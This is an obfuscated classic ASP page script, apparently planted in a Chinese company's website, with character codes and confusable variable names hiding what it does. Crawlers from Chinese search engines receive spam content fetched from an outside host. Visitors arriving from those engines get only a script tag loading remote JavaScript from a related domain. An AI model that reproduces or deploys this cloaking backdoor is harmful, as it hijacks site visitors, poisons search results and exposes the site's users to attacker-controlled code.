?%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
Public L1I1I1I1I1I1I1I1I1,L1I1I1I1I1I1L1L1L1I1I1I1I1,L1I1I1L1I1I1L1L1I1I1I1I1,L1I1I1L1I1I1I1I1I1L1,L1L1I1I1L1I1L1I1L1L1L1L1
Public L1I1I1I1I1I1L1I1I1L1I1I1L1I1,L1L1L1I1I1L1I1L1I1L1I1I1I1,L1I1L1L1L1I1L1L1I1L1I1L1,L1I1L1L1L1I1L1L1L1L1L1L1I1
Server.ScriptTimeout = ( 33 * 25 - - 2775 )
On Error Resume Next
L1I1I1I1I1I1I1I1I1 = Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 85 ) & Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 65 ) & Chr ( 71 ) & Chr ( 69 ) & Chr ( 78 ) & Chr ( 84 ) )
If Err.Number <> ( 40 * 7 - 280 ) Then
Err.Clear
End If
L1I1I1I1I1I1L1L1L1I1I1I1I1 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 100 ) & Chr ( 46 ) & Chr ( 55 ) & Chr ( 55 ) & Chr ( 56 ) & Chr ( 56 ) & Chr ( 57 ) & Chr ( 46 ) & Chr ( 109 ) & Chr ( 101 ) & Chr ( 47 )
L1I1I1L1I1I1L1L1I1I1I1I1 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 72 ) & Chr ( 79 ) & Chr ( 83 ) & Chr ( 84 ) ) & Request.ServerVariables ( Chr ( 115 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 95 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 109 ) & Chr ( 101 ) )
L1I1I1L1I1I1I1I1I1L1 = L1I1I1I1I1I1L1L1L1I1I1I1I1 & Chr ( 47 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 100 ) & Chr ( 101 ) & Chr ( 120 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 ) & Chr ( 104 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 61 ) & L1I1I1L1I1I1L1L1I1I1I1I1
If ( InStr ( L1I1I1I1I1I1I1I1I1 , Chr ( 66 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 100 ) & Chr ( 117 ) ) > ( 6 * 82 - 492 ) Or InStr ( L1I1I1I1I1I1I1I1I1 , Chr ( 98 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 100 ) & Chr ( 117 ) ) > ( 55 * 8 - 440 ) Or InStr ( L1I1I1I1I1I1I1I1I1 , Chr ( 83 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) ) > ( 51 * 75 - 3825 ) Or InStr ( L1I1I1I1I1I1I1I1I1 , Chr ( 83 ) & Chr ( 111 ) & Chr ( 103 ) & Chr ( 111 ) & Chr ( 117 ) ) > ( 2 * 67 - 134 ) Or InStr ( L1I1I1I1I1I1I1I1I1 , Chr ( 51 ) & Chr ( 54 ) & Chr ( 48 ) ) > ( 0 * 73 - 0 ) Or InStr ( L1I1I1I1I1I1I1I1I1 , Chr ( 89 ) & Chr ( 105 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 117 ) ) > ( 81 * 31 - 2511 ) Or InStr ( L1I1I1I1I1I1I1I1I1 , Chr ( 72 ) & Chr ( 97 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 117 ) ) > ( 8 * 3 - 24 ) ) Then
L1L1I1I1L1I1L1I1L1L1L1L1 = L1I1I1I1L1L1L1I1I1L1L1L1I1L1 ( L1I1I1L1I1I1I1I1I1L1 )
Response.Write L1L1I1I1L1I1L1I1L1L1L1L1
End If
L1I1I1I1I1I1L1I1I1L1I1I1L1I1 = Chr ( 40 ) & Chr ( 66 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 100 ) & Chr ( 117 ) & Chr ( 41 ) & Chr ( 124 ) & Chr ( 40 ) & Chr ( 98 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 100 ) & Chr ( 117 ) & Chr ( 41 ) & Chr ( 124 ) & Chr ( 40 ) & Chr ( 83 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 41 ) & Chr ( 124 ) & Chr ( 40 ) & Chr ( 83 ) & Chr ( 111 ) & Chr ( 103 ) & Chr ( 111 ) & Chr ( 117 ) & Chr ( 41 ) & Chr ( 124 ) & Chr ( 40 ) & Chr ( 51 ) & Chr ( 54 ) & Chr ( 48 ) & Chr ( 41 ) & Chr ( 124 ) & Chr ( 40 ) & Chr ( 72 ) & Chr ( 97 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 117 ) & Chr ( 41 ) & Chr ( 124 ) & Chr ( 40 ) & Chr ( 89 ) & Chr ( 105 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 117 ) & Chr ( 41 )
L1L1L1I1I1L1I1L1I1L1I1I1I1 = ( 96 * 35 - 3360 )
L1I1L1L1L1I1L1L1I1L1I1L1 = UCase ( Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 82 ) & Chr ( 69 ) & Chr ( 70 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 69 ) & Chr ( 82 ) ) )
Set L1I1L1L1L1I1L1L1L1L1L1L1I1 = New RegExp
L1I1L1L1L1I1L1L1L1L1L1L1I1.ignorecase = True
L1I1L1L1L1I1L1L1L1L1L1L1I1.global = True
L1I1L1L1L1I1L1L1L1L1L1L1I1.pattern = L1I1I1I1I1I1L1I1I1L1I1I1L1I1
If L1I1L1L1L1I1L1L1L1L1L1L1I1.test ( L1I1L1L1L1I1L1L1I1L1I1L1 ) Then
L1L1L1I1I1L1I1L1I1L1I1I1I1 = ( 59 * 48 - 2831 )
End If
Set L1I1L1L1L1I1L1L1L1L1L1L1I1 = Nothing
If ( L1L1L1I1I1L1I1L1I1L1I1I1I1 = ( 28 * 89 - 2491 ) ) Then
Response.Clear
Response.Write ( Chr ( 40 ) & Chr ( 32 ) & Chr ( 60 ) & Chr ( 115 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 32 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 117 ) & Chr ( 97 ) & Chr ( 103 ) & Chr ( 101 ) & Chr ( 61 ) & Chr ( 39 ) & Chr ( 106 ) & Chr ( 97 ) & Chr ( 118 ) & Chr ( 97 ) & Chr ( 115 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 39 ) & Chr ( 32 ) & Chr ( 115 ) & Chr ( 114 ) & Chr ( 99 ) & Chr ( 61 ) & Chr ( 39 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 121 ) & Chr ( 121 ) & Chr ( 121 ) & Chr ( 121 ) & Chr ( 112 ) & Chr ( 46 ) & Chr ( 55 ) & Chr ( 55 ) & Chr ( 56 ) & Chr ( 56 ) & Chr ( 57 ) & Chr ( 46 ) & Chr ( 109 ) & Chr ( 101 ) & Chr ( 47 ) & Chr ( 121 ) & Chr ( 112 ) & Chr ( 46 ) & Chr ( 106 ) & Chr ( 115 ) & Chr ( 39 ) & Chr ( 62 ) & Chr ( 60 ) & Chr ( 47 ) & Chr ( 115 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 62 ) & Chr ( 60 ) & Chr ( 98 ) & Chr ( 114 ) & Chr ( 47 ) & Chr ( 62 ) & Chr ( 32 ) & Chr ( 41 ) & Chr ( 32 ) & Chr ( 41 ) & Chr ( 10 ) )
Response.Flush
Response.End
End If
Response.Write vbCrLf
Function L1I1I1I1L1L1L1I1I1L1L1L1I1L1(L1I1L1I1I1L1I1L1I1I1L1I1 )
Dim L1I1I1I1I1I1I1L1I1I1L1L1
Dim L1I1L1I1I1I1L1I1L1I1I1I1I1
On Error Resume Next
Set L1I1I1I1I1I1I1L1I1I1L1L1 = Server.CreateObject ( Chr ( 77 ) & Chr ( 83 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 50 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 118 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) )
L1I1I1I1I1I1I1L1I1I1L1L1.Open Chr ( 71 ) & Chr ( 69 ) & Chr ( 84 ) , L1I1L1I1I1L1I1L1I1I1L1I1 , False
L1I1I1I1I1I1I1L1I1I1L1L1.SetRequestHeader Chr ( 85 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 45 ) & Chr ( 65 ) & Chr ( 103 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 116 ) , Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 85 ) & Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 65 ) & Chr ( 71 ) & Chr ( 69 ) & Chr ( 78 ) & Chr ( 84 ) )
L1I1I1I1I1I1I1L1I1I1L1L1.send
L1I1I1I1L1L1L1I1I1L1L1L1I1L1 = L1I1I1I1I1I1I1L1I1I1L1L1.responseBody
Set L1I1I1I1I1I1I1L1I1I1L1L1 = Nothing
Set L1I1L1I1I1I1L1I1L1I1I1I1I1 = Server.CreateObject ( Chr ( 65 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 83 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) )
L1I1L1I1I1I1L1I1L1I1I1I1I1.Type = ( 94 * 41 - 3853 )
L1I1L1I1I1I1L1I1L1I1I1I1I1.Mode = ( 53 * 45 - 2382 )
L1I1L1I1I1I1L1I1L1I1I1I1I1.Open
L1I1L1I1I1I1L1I1L1I1I1I1I1.Write L1I1I1I1L1L1L1I1I1L1L1L1I1L1
L1I1L1I1I1I1L1I1L1I1I1I1I1.Position = ( 68 * 74 - 5032 )
L1I1L1I1I1I1L1I1L1I1I1I1I1.Type = ( 2 * 43 - 84 )
L1I1L1I1I1I1L1I1L1I1I1I1I1.Charset = Chr ( 85 ) & Chr ( 84 ) & Chr ( 70 ) & Chr ( 45 ) & Chr ( 56 )
L1I1I1I1L1L1L1I1I1L1L1L1I1L1 = L1I1L1I1I1I1L1I1L1I1I1I1I1.ReadText
L1I1L1I1I1I1L1I1L1I1I1I1I1.Close
If Err.Number <> ( 46 * 64 - 2944 ) Then
Err.Clear
End If
End Function
厦门联石进出口有限公?/title>